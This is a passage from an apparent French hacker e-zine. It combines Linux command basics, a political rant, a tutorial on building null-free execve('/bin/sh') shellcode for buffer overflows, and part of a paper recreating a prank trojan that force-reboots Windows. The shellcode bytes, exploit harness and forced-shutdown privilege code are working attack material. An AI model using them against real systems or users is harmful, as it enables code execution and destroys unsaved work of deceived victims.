"-S" : Affiche les fichiers triés par ordre de taille décroissante.
"-X" : Affiche les fichiers par type d'extension.
"-r" :Affiche les fichiers en ordre alphabétiques inverses.
Exemple : [root@mindkind /root/apps]$ ls -l
-rwxr-xr-x 1 root root 2916 Nov 29 09:12 bash
-rwxr-xr-x 1 root root 5650 Nov 02 2006 ash
2.5 Aperçue d'un fichier texte (cat)
- La commande cat permet d'avoir un aperçue rapide du contenue d'un fichier contenant
du texte.
Exemple : [root@mindkind /root]$ cat .bashrc
# /root/bashrc
# System wide functions and aliases Environment
stuff goes in /etc/profile
# by default, we want this to get set. Even for non-interactive, non-login she
if [ `id -gn` = `id -un` -a `id -u` -gt 99 ]; then
umask 002
[root@mindkind /root]$
2.6 Copier un fichier ou un répertoire (cp) Pour copier un fichier ou un dossier d'un
répertoire a un autre il faut utilisé la commande "cp" suivit du nom du dossier/fichier à
copier et de l'emplacement.
Exemple : [root@mindkind /root]$ cp apps /home
[root@mindkind /root]$ ls /home
apps
[root@mindkind /root]$
Et il peut être utilisé avec plusieurs options en voici
quelques une.
"-i" : avertit l'utilisateur de l'existence d'un fichier du même nom et si vous voulez le
remplacer.
"-b" : permet comme l'option -i de s'assurer que la copie n'écrase pas un fichier existant
en modifiant le nom automatiquement du fichier.
"-l" : fait un lien entre le fichier source et la copie.
"-s" : fait un lien "symbolique" entre le fichier source et sa copie.
"-p" : préserve tous les droits du fichier copié.
"-r" : permet de copier le répertoire et tout ses sous-répertoires.
2.7 Supprimer un fichier ou un dossier (rm)
- La commande rm sert à supprimer un dossier ou un fichier.
Exemple : [root@mindkind /root]$ ls
apps
[root@mindkind /root]$ rm apps
[root@mindkind /root]$ ls
[root@mindkind /root]$
Et il peut être utilisé avec plusieurs options en voici quelques une.
"-d" : permet de supprimer un répertoire qu'il soit plein ou non
"-r" : permet de supprimer un répertoire et ses sous répertoires
"-f" : permet de forcer la suppression des fichiers protégés en écriture et des répertoires
2.8 Créer un dossier (mkdir)
Pour créer un répertoire, il suffit de taper la commande "mkdir"
Exemple : [root@mindkind /root]$ mkdir apps2
[root@mindkind /root]$ ls
apps apps2
[root@mindkind /root]$
2.9 Déplacer ou renommer un fichier ou un dossier (mv)
Pour déplacer ou renommer un fichier/dossier , il suffit de taper la commande "mv" suivie du
nom d'origine et l'emplacement + le nouveau nom de fichier.
Exemple : [root@mindkind /root]$ mv apps applications ( le dossier apps s'appelle maintenant
applications)
Exemple 2 : [root@mindkind /root]$ mv apps /home/applications ( le dossier apps s'apelle
maintenant applications et à été déplacée dans le dossier /home)
2.10 Décompresser et Compresser des archives(tar, gzip)
Pour Décompresser un
.tar.gz : tar xvfz amsn.tar.gz
.tar.bz2 : tar xvfj amsn.tar.bz2
.gz : gzip -d amsn.gz
Pour compresser un fichier en .gz :
gzip nomdufichieracompresser
2.11 Gestion des processus (top, ps, kill)
-Premièrement il y a la commande “top” qui montre les processus en ordre croissant selon
l’utilisation des ressources qu’ils prennent.
-La Commande ps sert à lister les processus qui sont en cour d’exécution sur le système.
Exemple : [root@mindkind /root]$ ps
1. PID TTY STAT TIME COMMAND
2. 341 p1 S 0 : 00 bash
3. 344 p2 S 0 : 00 bash
4. 1039 p3 S 0 : 00 bash
5. 1219 p3 R 0 : 00 ps
-"PID" Est le numéro du processus. Chaque processus est identifié dans le système par un
nombre unique.
- "TTY" indique à quel port de terminal est associé le processus.
-"STAT" indique l'état dans lequel se trouve le processus. S = "sleep", R = "run")
- "TIME" indique depuis combien de temps le processus utilise les ressources du
microprocesseur.
- "COMMAND" est la commande exécutée
Pour Terminer un processus, il suffit d’utiliser la commande kill suivit du numéro du
processus a terminer.
Exemple : [root@mindkind /root]$ kill 1039
-Pour forcer un processus à terminer, il suffit d’ajouter l’option ”-9”
( kill -9 1039)
-------------------------------------------------------
3. Quel firewall choisir lorsqu'on ne connait pas vraiment les iptables ?
J'ai le firewall qu'il vous faut, il s'agit de firestarter un firewall graphique qui
fonctionne en mode graphique ( avec gnome ou Kde ). Vous pouvez le télécharger en tapant
cette commande:
Apt-get install firestarter .
Si votre apt-get ne le trouve pas vous pouvez allez le télécharger sur
Http://www.fs-security.com/download.php .
PS: Son interface est tres facile d'utilisation
-------------------------------------------------------
4.Tenir votre système a jour avec Apt-Get
-Pour débuter il y a la commande 'apt-get', plusieurs façons de l'utiliser les voici donc:
1: Pour mettre vos sources a jours, les sources qui se trouvent dans le
/etc/apt/sources.list, vous tapez : Apt-get update
2: Pour mettre votre système a jours : Apt-get upgrade
3: Pour rechercher dans les packet de votre sources.list : Apt-cache search lenomdupacket
4: Pour installer un nouveau, packet: Apt-get install lenomdupacket
5: Pour corriger une erreur d'installation : apt-get -f install
PS: Pour plus de sources concernant ubuntulinux visitez ce sources.list generator:
http://www.ubuntulinux.nl/source-o-matic
-Une fois le sources.list générer vous n'avez qu'a ouvrir votre /etc/apt/sources.list
avec nano/pico/vim et de les ajoutés. Un petit Apt-Get Update, si tout va bien
vous n'aurez pas d'erreur.. Si vous avez des problèmes avec les erreurs, apt-get update
a quelques reprises et sa devrais s'arranger automatiquement, sinon retourner dans
votre sources.list et effacer les sources qui produisent les erreurs. Pour ajouter des keys
aux sources:
gpg --keyserver subkeys.pgp.net --recv Votrekey
gpg --export --armor Votrekey | sudo apt-key add -
PS: Attention avec les sources non officielles :)
----------------------------------------------
_____ ________ ________ ______ ____ __ __ _
/____/ / // // /\ \\ \\ \ \ \ \\ \
___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \
| | | / / \
| | | | / /\ \
__|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _
__\\________\\______\\__\\____________//__//_/ /_/ // /
|\\ | | | | | / / \ \
| \\| | \___/ | / / /\ \ \
| \ \ / / / / \ \ \
\ | \_______/ / / / /\ \ \ \
__|\\ |______________/ /___/ / \ \___\ \____ ___ __ _
| \\| / / \ \
|__\.
topic
_________________________________________________________
|
Entre-Articles c4 |
_________________________________________________________|
| / / |
| / / |
| / / |
| / / |
|/ / |
| / &
| / &
| / / \
|/ [ Quand humanitaire rime avec rien ]
|
| "Les conséquences d'un acte sont incluses dans l'acte lui-même."
| - George Orwell (1984)
|
| Notre Canada, figurisé en bonhomme déteint dans un paysage, y
| compris notre petit drapeau unifolié qui s'accorde aux couleurs
| foncées du "suit", est maintenant présent dans les conflits
| internationaux. Stephen Harper, notre prime minister, qui
| ressemble plus à un Kent qu'à un être humain, maintient la
| fonction première de son parti conservateur: purifier le monde
| entier avec la bonne fois, le cathéchissssss de bonne occasion,
| la morale des temps perdus. Une mission humanitaire, qu'on
| nous dit ! À force de se faire prendre pour des caves, on va
| vraiment finir par l'être !
|
| C'est en effet avec le fameux scandale des commandites qu'on
| a aperçu une vague conservatrice ... quel autre choix avait on,
| anyway, semble nous dire les intellectuels de tivi. Une vague à
| n'en plus finir entre les conservateurs et le parti libéral...
| des fois les rouges montent, des fois les bleus montent. On vote
| pour l'un en voulant se débarrasser de l'autre. Conservateur,
| libéral, libéral, conservateur, etc, etc, etc ... et la chanson
| continue.
|
| Ti Paul Martin et le parti libéral finit par tomber, les élections
| sont lancés, en pleine festivité de Noël ... Entre le gros Père
____| Noël, on avait maintenant, à titre de visiteur, des députés
libéraux et conservateurs, tous les 3 venus nous apporter des cadeaux.
Pendant toute la campagne électorale, tout ce qui se passait comme débat de société, vu
par notre téléviseur (pour faire changement du prix du gaz), ce fut l’homophobie de
Harper et de son parti. Ils sont contre le mariage de même sexe bla-bla-bla. Comme
dirait un fumeux de pipe de la droite, ce fut du blablaisme d'intellectualiste. Mais ce
fut assez ! Tout le monde en parlait : l'église, les organisations pour les
droits des gays et lesbiennes, le curé de telle région, le menoncle du sud, et le
parrain de l'est. Quel plaisir pour Radio-Canada qui voulait sauvegarder l'unité
canadienne ... on venait de noyer le vrai débat. Le vrai débat, me demandez-vous ?
L'amitié Bush-Harper. Non que le débat sur la question du mariage gay soit sans intérêt;
au contraire, c'est un débat assez important qui va au-delà de l'homosexualité ... c'est
une question de liberté et d'égalité. Et j'avoue, la question est loin d'être réglée dans
la tête de nos tarlas de conservateur.
Mais en faisant la part des choses, le vrai débat, afin qu’on ne subisse pas une vague
ennuyante conservatrice au Canada, n'aurait-il pas dû être celui de l’amitié
Bush-Harper ? N'est-ce pas plus dégueulasse, ce qui se passe présentement, que 2
homosexuelles qui n'ont pas le droit légal de se marier ? Je pose la question,
simplement ... au risque de me faire traiter d’homophobe, encore. Un jour, va falloir
qu'on arrête de se laisser leurrer. Un jour, va falloir qu'on arrête de faire de la
politique "du 4 ans". Et non, certainement pas, je ne prône pas nos libéraux. Mais
sacrament, y'a d'autres choix sur le bulletin de vote que nos 2 parties transitoire !
Qu'on arrête de voter pour un partie uniquement parce que les autres ne seront pas
au pouvoir ...
Trop tard ! On se ramasse avec un renforcement de l'armée canadienne en Afghanistan pour
une plus longue durée. Et on va me demander de trouver ça surprenant le jour ou il va
avoir une bombe qui va exploser dans un métro à Montréal ou à Toronto ? Les
journalistes peuvent l'être autant qu'ils le veulent, mais qu’on ne me demande pas en
plus de jouer leur game. C'était gros comme une montage, mais on a préféré parler de
l'homophobie de Harper. J'ai beau écouter les rassureux du bon peuple, mais
Stephen W. Harper joue une game très dangereuse. Qu'il veut maintenir un bon contacte
avec les américains, je m’en fou totalement. C'est ok. C'est acceptable. Qu'il soit
en accord avec l'invasion en Irak, déjà, ça passe plus mal. Je ne comprends
pas ... je dois être fou. Mais qu'ensuite, il vient nous faire croire que les
États-Unis ont besoin du Canada pour pacifier le monde entier ... ça passe pas. J'ai beau
réécouter le tape une trentaine de fois, ça ne passe toujours pas. Et en plus, on le
croit ! On croit même qu'il se croit ! C'est le bout de la marde, comme dirait
l'autre. C'est le top de la bêtise humaine. C'est trop ... je m'enrage, je
deviens impoli et vulgaire, et on m'accuse de l'être.
Les Etats-Unis n'ont pas besoin du Canada, soit de l'armée canadienne, dans leur guerre
du pétrole. Ils ont besoin d'un support, point. Ils ont besoin de ne pas être seul,
point. Ça fait parti de leur argumentation pro-guerre ... "Le Canada est avec
nous". Point.
Au mois de juin dernier, Harper achète pour 14 milliard en bebelle de guerre. Ca lair
qu'on en avait besoin. Peut-être, le hasard fait bien les choses. 14 milliards.
14 Milliards de tomates. 14 milliards, pris dans nos poches, pour "ça". "Ça", c'est du
matériel qui va servir à continuer l'invasion meurtrière en Afghanistan.
Après, on appelle ça une "mission humanitaire", une "guerre pour la démocratie". Celui
qui décide de tuer des civils innocents, de massacrer des cartiers, de "varger" dans le
tas, de pisser carrément dans la face du monde, ne mérite rien d'autre que la même
recette. Aucune pitié pour ce genre de mongole de ma part, je passe mon tour.
c4.
"And I hope that you die
And your death'll come soon
I will follow your casket
In the pale afternoon
And I'll watch while you're lowered
Down to your deathbed
And I'll stand o'er your grave
'Til I'm sure that you're dead"
- Bob Dylan, masters of war.
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ 14 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Shellcode ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Darkis [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
...:::{ Outl4wz }:::...
{ 0x1 } Introduction:
Ce que il faut savoir ....
. utiliser linux .
. Connaitre les notions de base de la programmation en C et en assembleur.
{ 0x2 } C'est quoi un shellcode?
Un shellcode est une chaine de caractère qui représente un code binaire exécutable. il constitue
un des éléments les plus importants des exploits utilisant les failles de type débordement de
tampon (buffer overflow). Pendant l'attaque, il est injecté par l'exploit dans un programme en
cours d'exécution, et à partir de celui-ci, il exécute le code voulu par l'attaquant (il est
souvent utilisé pour appeler un Shell).
{ 0x3 } coding ..
Il faut connaitre un peu l'asm , c'est obligé! Notre but est de créer un code binaire qui lance
un Shell. Soit un code équivalent au programme C suivant :
------shell.c--------
#include <stdlib.h>
int main(void)
{
execl("/bin/sh","sh",0);
return 0;
}
Pourquoi utilise execl() et pas system() ?
tout simplement parce qu’execve() prent le même PID que le processus dont a été lancé et arrête,
alors que system() crée un nouveau processus. Ce que modifiera la pile et le programme ne pourra
plus continuer normalement, ce que provoquerait un crash du programme exploite. (Toutes les
fonctions de la famille exec utilisent ce principe).
Nous utiliserons NASM comme compilateur qu'est disponible dans presque toutes les distributions de
linux. Mieux vaux connaitre les notions de bases de l'asm , c'est obligé!!(moi-même j'ai du lire de
la documentation avant de comprendre) L'équivalent en assembleur du programme C ci-dessus est le
programme suivant :
-------shellcode.asm----------
[global main]
main:
jmp short donné
retour:
pop esi ;récupère l'adresse de '/bin/sh'
xor edx, edx
mov [esi+8], esi
mov [esi+12], edx
mov al, 11 ; syscall = 11, la fonction appellée est execve
mov ebx, esi
lea ecx, [esi+8] ; ecx contient l'adresse d'un tableau avec les arguments cf
int 0x80 ; interruption
donnees:
call retour ; Comme pour chaque instruction call
db '/bin/sh',0 ; eip + 4, cad l'adresse de l'instruction suivante,
; est empilée pour pouvoir reprendre
; l'exécution à la prochaine instruction
; après appel de la procédure retour.
; Sur la pile on a donc l'adresse de la
; chaîne '/bin/sh'
;
Vérifions le :
darkis@outlawz:~/coding$ nasm -f aout shellcode.asm -o shellcode
darkis@outlawz:~/coding$ chmod +x shellcode
darkis@outlawz:~/coding$ ./shellcode
sh-2.05b$
En est fait notre programme en assembleur lance bien un Shell :]
Souvent un shellcode est destiné à être recopié dans un buffer vulnérable, par exemple strcpy s'arrêt
dès qu'elle renconrte un caractère nul ('\x00'), donc il faut que notre shellcode ne contienne aucun
caractère nul. Seul le dernier caractère du shellcode peut être nul, il se termine ainsi comme une
chaine normale. Ainsi, nous avons soigneusement choisi les instructions assembleur afin qu'elles ne
produisent pas d'octets nuls une fois compilées. Par exemple l'instruction mov eax, 0 (B800000000 en
binaire) produit beaucoup de zéro, tandis que l'instruction équivalente xor eax, eax (31C0) n'en
produit aucun.
{ 0x4 } les fichiers Source ( *.S )
il nous reste à en faire une représentation en chaine de caractères afin qu'il puisse être copié dans
un buffer, en faite c'est très simple:
l'option -l de NASM nous permet d'obtenir un listing qui contient le code assembleur et le code
binaire correspondant.
darkis@outlawz:~/coding$ nasm -f aout shellcode.asm -l shellcode.S
Si vous ouvrez shellcode.S vous aurez un truc de genre :
-------------shellcode.S-------------
1 [global main]
2 main:
3 00000000 EB12 jmp short donnees
4 retour:
5 00000002 5E pop esi ;récup$
6 00000003 31D2 xor edx, edx
7 00000005 897608 mov [esi+8], esi
8 00000008 89560C mov [esi+12], edx
9 0000000B B00B mov al, 11 ; sysca$
10 0000000D 89F3 mov ebx, esi
11 0000000F 8D4E08 lea ecx, [esi+8] ; ecx c$
12 00000012 CD80 int 0x80 ; inter$
13 donnees:
14 00000014 E8E9FFFFFF call retour ; Comme$
15 00000019 2F62696E2F736800 db '/bin/sh',0 ; eip +$
----------------------------
Ou bien:
darkis@outlawz:~/coding$ as -a -o fichier.o fichier.asm > fichier.S
Qui donne le même résultat! Ce que nous intéresse ici c'est la 3eme colone :
EB12
5E
31D2
...
Comme vous pouvez le voir pour les mettre en format lisible: "\xeb\x12\x5e\x31..." on prend
les caractères hex 2 par 2 "xEb" et on les met a la suite comme ci-dessus "\xeb\x12\..\x00".
{ 0x5 } bonus!
Ce script en perl parcourt un fichier source (*.S) afin de créer la chaine de caractère qui correspond à
notre shellcode.
----------------generateur.pl-------------------
#! /usr/bin/perl
if(@ARGV < 1) { die "Usage $0 <fichier.S>\n\n"; }
$file = shift;
open(FILE, $file) or die "Impossible d'ouvrir le fichier $ARGV[0] : $!\n";
while(<FILE>) {
if(/ {4}\w+ (\w+) (\w+)./) {
$sc.=$2;
}
}
for($i= 0 ;$i < length($sc) ;$i++)
{
if(! ($i % 2)) {
print "\\x" ;
}
print substr(lc($sc) , $i , 1)
}
print "\n"
darkis@outlawz:~/coding$ chmod +x generateur.pl
darkis@outlawz:~/coding$ ./generateur.pl shellcode.S
\xeb\x12\x5e\x31\xd2\x89\x76\x08\x89\x56\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\xe8\xe9\xff\xff\xff
\x2f\x62\x69\x6e\x2f\x73\x68\x00
Pour terminer notre article, nous allons réaliser un petit programme C qui exécute notre shellcode :
-------------shell.c---------------
char sc[]="\xeb\x12\x5e\x31\xd2\x89\x76\x08\x89\x56\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\xe8\xe9
\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00";
main (void)
{
int * ret;
* ((int *) &ret + 2) = (int) sc;
return (0);
}
------------------------------
darkis@outlawz:~/coding$ gcc shell.c -o shell
darkis@outlawz:~/coding$ ./shell
sh-2.05b$
{ 0x6 } CONCLUSION
j'espère que j'n’ai pas dit trop de connerie , et désole pour l'orthographe :p
darkis , #linux.ma
Outl4wz
Greetz :phawnky ..
topic
.. ,.-.. ,..,
| | .` `. | |
|''| |`'---'`| |`'-`|
|<<| | _____ | _,,..|[}{]|.,,,
_,|<<|,, | \ D / | ,-`` |[}{]| ``',
.` `..' `. | |A| | |-,, ``--'' _,-'|
| `''--''` | | |T| | | ``'''------''`` |
| [ 15 ] | | |A| | | [ Mindkind ] |
`. ~~ .' | / \ | `-,, ] 1010 [ _,-'
`''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''```
|<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]|
,``` .,-''``` |[ R ]| ``''-., |[}{]|,
| `. _,,,,...|| E ||...,,,,, '|[}{]| |
|`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'|
| `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| |
|`-,_ `````''''''---------'''''''````` |[}{]|'|
| `''[ ]|[}{]| |
|`-,_ [ Really Lame Reverse Engeneering Paper ]|[}{]|'|
| `''[ ] |[}{]| |
`-,_ [ ] _,,..|[}{]|.,,,
|<;`'-.,,,_ ,-`` |[}{]| ``',
,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'|
|`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` |
|`-,_`''-.,,,_ `````'''''---------'''''````| ] Ninja [ |
|`-,_`''-.,,, `````''''''---------'''''''```-,, _,-'
`-,_`''-.,,,[ ]``'''------''``
|<`|'-.,,,_[ ]_,,,.-|[}{]|
|<<| `````''''''---------'''''''````` |[}{]|
|<<| |]Aka: [| |[}{]|
|<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
|<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_
_.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-.,
; -` | |T| |,.....----------..|[}{]|,,,_ `' ;
|`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`|
| ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` |
| ````````''''''''''--------------''''''''''```````` |
| |
RLREP
aka
Really Lame Reverse Engeneering Paper
Résumé
"Ninja Production Present" un texte peu technique, mais surement bien
intéressant qui risque, que cela ne déplaise, de vous stimuler les
neurones. Il y sera question de reverse engeneering et d'un feature
vraiment trop exploitable de mIRC. Comme vous l'aurez surement deviné via
le titre de ce texte, vous n'aurez pas droit à un cours très poussé,
technique ou 1337. Mais l'avenue que j'ai utilisée pour reverser un petit
programme sympa peut-être utilisé pour reverser n'importe quelle application
d'un kiddy quelconque pour comprendre un peu plus comment il fonctionne.
Tables des matières
1. Introduction
2. Là où tout à commencé...
3. What the...
4. La mission
4.1 Dernière étape
4.2 Injection ??
4.3 HOLY ou OLLY
5. Play time!
6. Conclusion
1. Introduction
Ne vous est-il jamais arrivé de croiser un abrutie sur un canal quelconque
qui demandait sans relâche une application pour hacker un compte hotmail,
un crack pour une certaine application ou jeux, etc.? Que de frustration, si
vous n'êtes pas opérateur du canal, de ne pas pouvoir exploser cette
loque. Mais j'ai peut-être une alternative qui vous fera probablement
sourire.
2. Là où tout à commencé...
C'était une nuit chaude et sombre, étouffé par une humidité qui vous
empêche d'être confortablement allongé dans votre lit. Seul le bruit de
quelques voitures pouvait se faire entendre au loin. C'était le genre de
nuit où l'on souhaiterait ne simplement pas exister. Les secondes
semblaient être des minutes. J'étais assis, le regarde fixe devant l'écran
de mon ordinateur, le dos légèrement courbé. Je ne pouvais dormir et malgré
mon immense désir de faire quelque chose, je me sentais paralysé. Comme
certains cette nuit là, je m'étais connecté sur les serveurs Undernet et
j'attendais que quelque chose se passe sur un des canaux que je fréquente.
J'étais complètement hypnotisé par les très rares messages "join/part/quit"
quand soudainement, venu de nul part, quelqu'un demanda un programme de
hack. Voilà ma chance de me sortir de l'état pitoyable dans lequel j'étais
prisonnier depuis trop longtemps cette nuit là.
"Qu'entend-tu par prog de hacking?", lui dis-je.
"j'veux hack un account hotmail", me répond-il.
"Oh, je vois..."
"c que g perdu mon pass pis je suis pu cap de lire mes email", me dit-il.
J'étais sur le point de rétorquer, lui laissant savoir que s'il croit être
le premier à clamer la perte de son mot de passe comme raison de piraté un
compte homtail, il devait vraiment être abrutis quand, surgissant des
profondeurs de l'IRC:
"tien ça devrait faire la job:
http://xxxxxx.xxx.xx/misc/hotmail_bruteforce.exe"
"thx", s'empressa de répondre notre pirate en devenir.
Il s'installa un silence froid, on aura pu entendre la lune tourner autour
de la terre. Et puis quelques secondes plus tard:
"OH NOOOOOO !!!!"
loque_humaine quit (edcba)
3. What the...
Bon, je suis désolé pour cette tentative d'écriture "thriller style". Mais
je dois quand même avoir du plaisir à écrire sinon je n'écrirais tout
simplement pas. Et je tien a dire "shut up" à tous ceux qui croient que ça
serait mieux ainsi. Si vous avez été assez patient pour lire attentivement
jusqu'ici, vous aurez surement compris que le petit prog que "edcba" à
envoyé à notre wannabe hackeur était bien entendu un piège. Malgré que le
programme ne fasse rien de bien méchant, il propage un message sur tous les
canaux où la victime se trouve ("OH NOOOOOO !!!!"), termine la connexion au
serveur IRC et finalement exécute un "force reboot" de la machine. Le
"force reboot" étant probablement la partie la plus chiante, puisque,
contrairement a un redémarrage normal, il n'attend pas que toutes les
applications fermes correctement. Donc toutes modifications à des documents
non sauvegardés son perdu. Symaptique n'est-ce pas?
4. La mission
Trouvant l'idée très sympathique et étant en constante recherche de petit
truc à coder, je me suis dit qu'il serait bien de reproduire les features
de ce programme. Pas question de demander à edcba comment il avait fait
parce que, premièrement, je tien à comprendre par moi-même avant tout, et
deuxièmement, parce que je doute que j'aurais eu une réponse. Je vais
diviser ce que fait le programme en étapes. Question de mieux cibler ce que
l'on doit reproduire.
1. Envoie un message sur tous les canaux
2. Ferme la connexion au serveur avec un message spécifique
3. Redémarre l'ordinateur (force reboot)
On peut imaginer que réussir l'étape #1 implique automatiquement la
réussite de l'étape #2. Donc, nous avons excatement deux (2) étapes à
reproduire.
4.1 dernière étape
Pourquoi commencer par le commencement quand la fin est tellement plus
facile. Je trouve plus motivant de faire des progrès rapidement et
ensuite être bloqué que de n'avoir rien fait encore et d'être déjà
bloqué. Comme mentionnée ci-dessus, la dernière étape consiste à
redémarrer l'ordinateur. Une petite recherche bien effectuée sur google
ou MSDN Library vous permet de trouver rapidement quel API l'on doit
utiliser pour arriver à notre fin, j'ai nommé "ExitWindowsEx". Voici
donc le prototype de notre fameuse API:
BOOL WINAPI ExitWindowsEx(
UINT uFlags,
DWORD dwReason
);
Paramètres
uFlags
[in] Le type de fermeture.
dwReason
[in] La raison de l'initialisation de la fermeture.
Pour le paramètre uFlags, nous allons utiliser la valeur suivante :
EWX_SHUTDOWN - Ferme le système.
En conjonction avec:
EWX_FORCE - "[...] the system does not send the WM_QUERYENDSESSION
and WM_ENDSESSION messages. This can cause applications to
lose data. Therefore, you should only use this flag
in an emergency."
Le paramètre dwReason doit être égale à zéro, raison de compatibilité.
C'est maintenant le temps de tester notre application. Alors au code
camarade.
==---------------------- test1.cpp ----------------------==
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
int main()
{
ExitWindowsEx(
EWX_SHUTDOWN|EWX_FORCE,
0
);
return 0;
}
Simple n'est-ce pas? Mais pas si vite mon ami! À moins que vous soyez
très chanceux, rien ne devrait arriver suite à l'exécution de ce code.
Pourquoi? Simplement parce que nous devons donner à notre processus le
privilège SE_SHUTDOWN_NAME. Autrement, l'appel à la fonction
ExitWindowsEx échoue. Une autre recherche sur MSDN Library s'impose.
Notre recherche nous amène à trouver l'API suivante:
AdjustTokenPrivileges
Voici son prototype:
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle,
BOOL DisableAllPrivileges,
PTOKEN_PRIVILEGES NewState,
DWORD BufferLength,
PTOKEN_PRIVILEGES PreviousState,
PDWORD ReturnLength
);
C'est ici que ça se corse. D'accord ce n'est pas si terrible, mais bon,
j'aurais aimé que ça soit aussi simple que d'appeler simplement
ExitWindowsEx. Premièrement, nous devons avoir l'accès
TOKEN_ADJUST_PRIVILEGES si nous voulons activer ou désactiver un
privilège. De plus, nous aurons besoin d'un handle sur un token
préalablement ouvert. Encore une fois, nous devons effectuer une autre
recherche sur MSDN Libray. Nous voici, maintenant, devant
OpenProcessToken.
BOOL OpenProcessToken(
HANDLE ProcessHandle,
DWORD DesiredAccess,
PHANDLE TokenHandle
);
ProcessHandle - handle de notre processus.
DesiredAccess - TOKEN_ADJUST_PRIVILEGES
TokenHandle - pointeur vers le handle de notre token
De retour à AdjustTokenPrivileges. Si l'on regarde la structure
TOKEN_PRIVILEGES de plus près, on s'aperçoit que l'on a besoin de LUID
du privilège désiré. Pour obtenir cette information, nous devons appler
la fonction LookupPrivilegeValue.
BOOL LookupPrivilegeValue(
LPCTSTR lpSystemName,
LPCTSTR lpName,
PLUID lpLuid
);
Maintenant nous sommes prêts pour donner à notre processus le privilège
dont il a besoin pour appeler la fonction ExitWindowsEx. Au code!
==---------------------- test2.cpp ----------------------==
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
int main()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
DWORD dwRet;
// demande un token
if ( !OpenProcessToken(
GetCurrentProcess(), // handle du processus courant
TOKEN_ADJUST_PRIVILEGES,
&hToken ) )
{
return 0;
}
// recherche le LUID du privilège SE_SHUTDOWN_NAME
if ( !LookupPrivilegeValue(
NULL, // recherche sur le système local
SE_SHUTDOWN_NAME,
&tp.Privileges[0].Luid ) )
{
CloseHandle(hToken);
return 0;
}
tp.PrivilegeCount = 1; // une seul privilege a configurer
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// ajust le token selon les nouveaux privilèges demandés
if ( !AdjustTokenPrivileges(
hToken,
FALSE, // ne PAS désactiver TOUS les privilèges
&tp,
0, // comme PreviousState est NULL, on
// mets 0
(PTOKEN_PRIVILEGES)NULL, // PreviousState
0 ) ) // 0 puisque PreviousState est NULL
{
CloseHandle(hToken);
return 0;
}
dwRet = GetLastError(); // backup de GetLastError() puisque l'on appel
// CloseHandle. Cette dernière modifie le contenu
// de GetLastError();
CloseHandle(hToken);
if (dwRet != ERROR_SUCCESS)
return 0;
ExitWindowsEx(
EWX_SHUTDOWN|EWX_FORCE,
0
);
return 0;
}
W00t! C'est fait. Notre programme, si tout se passe bien, va forcer
Windows à redémarrer l'ordinateur sans avertir aucunes applications.
Maintenant, passons aux choses sérieuses...
4.2 Injection ??
Je crois que tout le monde à un jour ou l'autre, a pris le mauvais
chemin pour atteindre un objectif. C'est souvent ce qui arrive lorsque
l'on voit tout comme étant surement complexe. Ou simplement quand on
aime se compliquer la vie. Et ça a bien été mon cas ici. Je m'étais
imaginé que pour arriver a ce que mIRC, via un programme externe,
exécute des commandes qu'on lui spécifie, nous devions absolument
injecter du code dans le processus mIRC chargé en mémoire. Après
quelques jours de dur travail et de recherche sur le web, je me suis
tanné. Pourquoi est-ce que je me fait chier autant à trouver une
technique alors que si je regarde ce que le programme de edcba fait,
il ne me restera plus qu'a comprendre le pourquoi. Et, je dois
l'avouer, c'était le but premier de cet exercice. Alors au toilette
